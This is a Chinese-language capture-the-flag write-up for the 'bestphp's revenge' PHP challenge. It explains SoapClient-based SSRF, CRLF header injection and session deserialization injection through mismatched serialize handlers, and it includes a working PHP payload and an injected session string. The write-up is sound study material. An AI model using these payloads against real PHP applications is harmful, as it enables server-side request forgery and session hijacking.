bestphp's revenge

Posted 王叹之

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bestphp's revenge相关的知识,希望对你有一定的参考价值。

0x00 知识点

1利用php原生类来构造POP链

本题没有可以利用的类,没有可以利用的类就找不到POP链所以只能考虑PHP原生类
我们先来解释一下什么是POP链

POP:面向属性编程
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制
在之前的学习中:

我已经清楚反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的

我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法,常用的一些魔术方法:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

好了回到我们今天说的知识点:
先附上师傅文章:
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

这里我只提一下我们今天使用的
php内置类SoapClient
他具有SSRF能力
在今天的文章中我们可以利用他进行SSRF
解释:

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
简单的用法

<?php
$a = new SoapClient(null,array(location\'=>\'http://example.com:2333\',\'uri\'=>\'123\'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

2:CRLF Injection漏洞

链接:
https://www.jianshu.com/p/d4c304dbd0af

CRLF是”回车+换行”(\\r\\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者html代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
简单来说
http请求遇到两个\\r\\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。

3:serialize_hander处理session方式不同导致session注入

简单看:
serialize_handler=php
解释:

这样的方式,可以指定php序列化引擎,而不同引擎存储的方式也不同
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

session.serialize_handler存在以下几种

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(\'session.serialize_handler\', \'需要设置的引擎\');。
本题中,我们利用的是session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
例如传入$_SESSION[\'name\']=\'|O:5:"xxxxx":1:{s:4:"test";s:3:"AAA";}\'; 序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:5:"xxxxx":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:5:"xxxxx":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

0x01 解题

很明显SSRF
根据前面:
payload:

<?php
$target=\'http://127.0.0.1/flag.php\';
$b = new SoapClient(null,array(\'location\' => $target,
                               \'user_agent\' => "AAA:BBBrn" .
                                             "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
                               \'uri\' => "http://127.0.0.1/"));

$se = serialize($b); 
echo urlencode($se);

先注入poc得到的session

此时session_start()序列化使用的是php引擎。接下里我们覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。
这里我死活弹不出flag。难受。。
借用一下这位大佬的图:

https://www.cnblogs.com/20175211lyz/p/11515519.html

参考链接:

https://www.anquanke.com/post/id/164569#h2-5
https://cloud.tencent.com/developer/article/1376384
https://www.cnblogs.com/20175211lyz/p/11515519.html

今天状态好差。。
早点休息明天继续2333

以上是关于bestphp's revenge的主要内容,如果未能解决你的问题,请参考以下文章

Uva 816 Abbott's Revenge(BFS)

UVa816 - Abbott's Revenge

HDU 3341 Lost's revenge(AC自动机+状压DP)

HDU - 3341 Lost&#39;s revenge(AC自己主动机+DP)

HDU 3341 Lost's revenge ( Trie图 && 状压DP && 数量限制类型 )

L - Lost's revenge HDU - 3341 (AC自动机 + 记忆化搜索 + 变进制算法)